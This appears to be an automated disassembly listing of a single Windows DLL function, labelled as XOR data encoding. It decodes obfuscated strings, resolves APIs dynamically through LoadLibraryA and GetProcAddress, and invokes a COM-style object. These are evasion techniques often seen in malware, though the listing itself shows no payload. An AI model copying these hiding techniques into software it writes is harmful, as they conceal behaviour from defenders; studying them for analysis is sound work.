Function at 0x1800072e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
movdqa xmm0, xmmword [0x18038f4e0]
xor r15b, r15b
xor esi, esi
mov r13d, edx
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp + 0x1b8], rsi
mov rax, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
sub cl, 0x56
xor cl, byte [rbp + rax - 0x4f]
mov rax, qword [rbp + 0x1b8]
mov byte [rbp + rax - 0x4f], cl
mov rax, qword [rbp + 0x1b8]
inc rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
cmp rax, 0xe
jb 0x180007321
mov byte [rbp - 0x41], sil
call fcn.180001810
mov ecx, dword [0x18039b468]
mov rdi, rax
mov rax, qword gs:[0x58]
mov edx, 4
mov rbx, qword [rax + rcx*8]
add rbx, rdx
mov eax, dword [rbx]
cmp dword [0x18039d510], eax
jle 0x1800073bf
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x1800073bf
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x1800073f8
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x1800073f8
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
mov qword [rsp + 0x2a8], r14
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x4f]
call qword [0x1803a1560]
mov r12, rax
test rax, rax
je 0x180007b0a
xor eax, eax
mov dword [rsp + 0x53], 0x60d2031
mov byte [rsp + 0x61], al
mov dword [rsp + 0x57], 0x1c1d0530
mov dword [rsp + 0x5b], 0x140e0f29
mov word [rsp + 0x5f], 0x1810
mov qword [rbp + 0x1b8], rsi
mov rax, qword [rbp + 0x1b8]
nop word [rax + rax]
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
add cl, 0x73
xor cl, byte [rsp + rax + 0x54]
mov rax, qword [rbp + 0x1b8]
mov byte [rsp + rax + 0x54], cl
mov rax, qword [rbp + 0x1b8]
inc rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
cmp rax, 0xd
jb 0x180007460
mov byte [rsp + 0x61], sil
call fcn.180001810
mov rdi, rax
mov eax, dword [rbx]
cmp dword [0x18039d510], eax
jle 0x1800074e4
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x1800074e4
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x18000751d
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18000751d
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rsp + 0x54]
call qword [0x1803a1560]
mov r14, rax
test rax, rax
je 0x180007b0a
movdqa xmm0, xmmword [0x18038f560]
movdqu xmmword [rbp - 0x6b], xmm0
mov word [rbp - 0x5b], 0xc
mov qword [rbp + 0x1b8], rsi
mov rax, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
add cl, 0x5a
xor cl, byte [rbp + rax - 0x6a]
mov rax, qword [rbp + 0x1b8]
mov byte [rbp + rax - 0x6a], cl
mov rax, qword [rbp + 0x1b8]
inc rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x10
jb 0x180007561
mov byte [rbp - 0x5a], sil
call fcn.1800018d0
mov rdi, rax
mov eax, dword [rbx]
cmp dword [0x18039d510], eax
jle 0x1800075e4
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x1800075e4
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x18000761d
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18000761d
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x6a]
call qword [0x1803a1560]
mov rsi, rax
test rax, rax
je 0x180007b0a
movdqa xmm0, xmmword [0x18038f890]
xor eax, eax
mov byte [rbp - 0x6c], al
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x66727a52
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
nop word [rax + rax]
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
add cl, 2
xor cl, byte [rbp + rax - 0x7f]
mov rax, qword [rbp + 0x1b8]
mov byte [rbp + rax - 0x7f], cl
mov rax, qword [rbp + 0x1b8]
inc rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x13
jb 0x180007670
mov byte [rbp - 0x6c], 0
call fcn.1800015d0
mov rdi, rax
mov eax, dword [rbx]
cmp dword [0x18039d510], eax
jle 0x1800076f3
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x1800076f3
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x18000772c
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18000772c
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x7f]
call qword [0x1803a1560]
mov rbx, rax
test rax, rax
je 0x180007b0a
mov dword [rbp + 0x1b0], 0x92829403
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
xor edi, edi
xor eax, eax
mov byte [rbp + 0x1b4], al
mov qword [rsp + 0x68], rdi
mov qword [rbp + 0x1b8], 2
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rsp + 0x68]
add rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x68], 0x43
mov qword [rbp + 0x1b8], 0x3d
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rsp + 0x68]
add rcx, rax
mov qword [rsp + 0x68], rcx
mov qword [rbp + 0x1b8], rdi
mov rax, qword [rbp + 0x1b8]
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
sub cl, 0x40
xor cl, byte [rbp + rax + 0x1b1]
mov rax, qword [rbp + 0x1b8]
mov byte [rbp + rax + 0x1b1], cl
mov rax, qword [rbp + 0x1b8]
inc rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
cmp rax, 3
jb 0x1800077d0
mov rax, qword [rsp + 0x68]
lea r8, [rbp + 0x1b1]
mov rcx, qword [rsp + 0x40]
xor edx, edx
div rcx
mov r9d, 0xffffffff
mov byte [rbp + 0x1b4], dil
mov dword [rsp + 0x28], eax
xor ecx, ecx
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 2]
call rbx
test eax, eax
je 0x180007b0a
mov dword [rsp + 0x48], 0xc6cbcf7f
lea rax, [rbp + 0x60]
mov qword [rbp - 0x38], rax
xor eax, eax
mov byte [rsp + 0x52], al
mov dword [rsp + 0x4c], 0xc6c0cbc7
mov word [rsp + 0x50], 0xdfd9
mov qword [rsp + 0x40], rdi
mov qword [rbp + 0x1b8], 2
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x40], 2
mov qword [rbp + 0x1b8], 0x7e
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rbp + 0x1b8], rdi
mov rax, qword [rbp + 0x1b8]
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1b8]
sub cl, 0x5d
xor cl, byte [rsp + rax + 0x49]
mov rax, qword [rbp + 0x1b8]
mov byte [rsp + rax + 0x49], cl
mov rax, qword [rbp + 0x1b8]
inc rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
cmp rax, 9
jb 0x1800078e0
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x49]
mov rcx, qword [rsp + 0x68]
xor edx, edx
div rcx
mov r9d, 0xffffffff
mov byte [rsp + 0x52], dil
mov dword [rsp + 0x28], eax
xor ecx, ecx
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 2]
call rbx
test eax, eax
je 0x180007b0a
mov word [rbp + 0x1a0], 0xb2
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x30], rax
lea r8, [rbp + 0x1a1]
mov qword [rsp + 0x40], 1
xor edx, edx
mov qword [rbp + 0x1b8], 1
mov r9d, 0xffffffff
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x40], 0x78
mov qword [rbp + 0x1b8], 8
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rbp + 0x1b8], rdi
mov rax, qword [rbp + 0x1b8]
mov byte [rbp + 0x1a1], al
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
div rcx
lea edx, [r9 + 2]
xor ecx, ecx
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
je 0x180007b0a
xor edx, edx
mov qword [rsp + 0x78], rdi
lea rax, [rsp + 0x78]
lea r9, [0x18038ee38]
mov qword [rsp + 0x20], rax
lea rcx, [0x18038ec88]
lea r8d, [rdx + 0x17]
call rsi
test eax, eax
js 0x180007b04
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x180007b04
mov qword [rsp + 0x70], rdi
lea rdx, [rsp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
js 0x180007af9
cmp qword [rsp + 0x70], rdi
je 0x180007af9
lea rcx, [rbp - 0x20]
call r12
lea rcx, [rbp + 0x60]
mov rbx, rax
call r12
lea rcx, [rbp + 0xe0]
mov rdi, rax
call r12
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x38], rdx
mov rsi, rax
mov edx, 0xffffffff
mov qword [rbp - 0x58], 0
mov qword [rsp + 0x30], rsi
mov r9d, r13d
mov rax, qword [rcx]
mov r8, rbx
mov word [rsp + 0x28], dx
mov edx, r13d
mov qword [rsp + 0x20], rdi
call qword [rax + 0x58]
test eax, eax
js 0x180007adc
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x180007adc
mov rax, qword [rcx]
mov r15b, 1
call qword [rax + 0x10]
mov rcx, rbx
call r14
mov rcx, rdi
call r14
mov rcx, rsi
call r14
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
movzx eax, r15b
jmp 0x180007b0c
xor al, al
mov r14, qword [rsp + 0x2a8]
add rsp, 0x260
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret